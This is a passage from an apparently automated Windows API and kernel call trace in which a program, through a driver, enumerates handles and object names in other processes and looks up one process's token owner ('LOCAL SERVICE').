lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0122.342] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.342] PsAcquireProcessExitSynchronization () returned 0x0 [0122.342] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.342] ObReferenceObjectByHandle (in: Handle=0xe84, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019dc710, HandleInformation=0x0) returned 0x0 [0122.342] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.342] PsReleaseProcessExitSynchronization () returned 0x2 [0122.342] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.342] ObQueryNameString (in: Object=0xfffff8a0019dc710, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.342] ObfDereferenceObject (Object=0xfffff8a0019dc710) returned 0x2 [0122.342] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.342] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.342] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0122.342] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.342] PsAcquireProcessExitSynchronization () returned 0x0 [0122.342] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.342] ObReferenceObjectByHandle (in: Handle=0xea4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003c57570, HandleInformation=0x0) returned 0x0 [0122.342] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.343] PsReleaseProcessExitSynchronization () returned 0x2 [0122.343] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.343] ObQueryNameString (in: Object=0xfffffa8003c57570, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.343] ObfDereferenceObject (Object=0xfffffa8003c57570) returned 0x1 [0122.343] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.343] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.343] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0122.343] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.343] PsAcquireProcessExitSynchronization () returned 0x0 [0122.343] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.343] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0122.343] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.343] PsReleaseProcessExitSynchronization () returned 0x2 [0122.343] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.343] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.343] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0122.343] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.343] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.343] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0122.343] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.343] PsAcquireProcessExitSynchronization () returned 0x0 [0122.343] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.343] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0122.343] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.343] PsReleaseProcessExitSynchronization () returned 0x2 [0122.343] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.343] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.343] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0122.343] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.344] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.344] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0122.344] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.344] PsAcquireProcessExitSynchronization () returned 0x0 [0122.344] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.344] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0122.344] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.344] PsReleaseProcessExitSynchronization () returned 0x2 [0122.344] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.344] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.344] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0122.344] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.344] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.344] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0122.344] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.344] PsAcquireProcessExitSynchronization () returned 0x0 [0122.344] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.344] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0122.344] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.344] PsReleaseProcessExitSynchronization () returned 0x2 [0122.344] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.344] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.344] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0122.344] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.344] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.344] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0122.344] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.344] PsAcquireProcessExitSynchronization () returned 0x0 [0122.344] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff880044355d0) [0122.344] ObReferenceObjectByHandle (in: Handle=0x1244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0122.345] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.345] PsReleaseProcessExitSynchronization () returned 0x2 [0122.345] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1ea [0122.345] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.345] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0122.345] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.345] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0122.345] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0122.345] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.345] PsAcquireProcessExitSynchronization () returned 0x0 [0122.345] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0) [0122.345] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0122.345] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.345] PsReleaseProcessExitSynchronization () returned 0x2 [0122.345] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0122.345] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.345] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0122.345] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.345] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.345] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0122.346] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.346] PsAcquireProcessExitSynchronization () returned 0x0 [0122.346] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0) [0122.346] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0122.346] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.346] PsReleaseProcessExitSynchronization () returned 0x2 [0122.346] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0122.346] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.346] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0122.346] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.346] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.346] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.346] PsAcquireProcessExitSynchronization () returned 0x0 [0122.346] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0) [0122.346] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0122.346] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.346] PsReleaseProcessExitSynchronization () returned 0x2 [0122.346] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0122.346] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.346] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0122.346] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.346] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.346] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.346] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.346] PsAcquireProcessExitSynchronization () returned 0x0 [0122.346] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0) [0122.346] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.347] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.347] PsReleaseProcessExitSynchronization () returned 0x2 [0122.347] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0122.347] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.347] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.347] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.347] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.347] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0122.347] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.347] PsAcquireProcessExitSynchronization () returned 0x0 [0122.347] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff880044355d0) [0122.347] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0122.347] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.347] PsReleaseProcessExitSynchronization () returned 0x2 [0122.347] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3a [0122.347] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0122.347] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0122.347] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.347] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.347] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0122.347] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0122.347] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0122.347] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a1c) returned 0x0 [0122.347] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd2 [0122.347] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a1c, DesiredAccess=0x8, TokenHandle=0xfffffa80022554c0 | out: TokenHandle=0xfffffa80022554c0*=0xc8) returned 0x0 [0122.347] ZwClose (Handle=0xffffffff80000a1c) returned 0x0 [0122.347] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.348] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0122.348] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0122.349] CloseHandle (hObject=0xc8) returned 1 [0122.349] CloseHandle (hObject=0xc0) returned 1 [0122.349] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.349] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0122.349] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.349] PsAcquireProcessExitSynchronization () returned 0x0 [0122.349] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0) [0122.349] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0122.350] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.350] PsReleaseProcessExitSynchronization () returned 0x2 [0122.350] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0122.350] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.350] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0122.350] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.350] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.350] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0122.350] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.350] PsAcquireProcessExitSynchronization () returned 0x0 [0122.350] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0) [0122.350] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0122.350] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0122.350] PsReleaseProcessExitSynchronization () returned 0x2 [0122.350] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd0 [0122.350] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435508) returned 0x0 [0122.350] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0122.350] IofCompleteRequest (Irp=0xfffffa80023d62b0, PriorityBoost=0) [0122.350] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0122.350] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0122.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0122.350] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0122.351] PsAcquireProcessExitSynchronization () returned 0x0 [0122.351] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80031ba920, 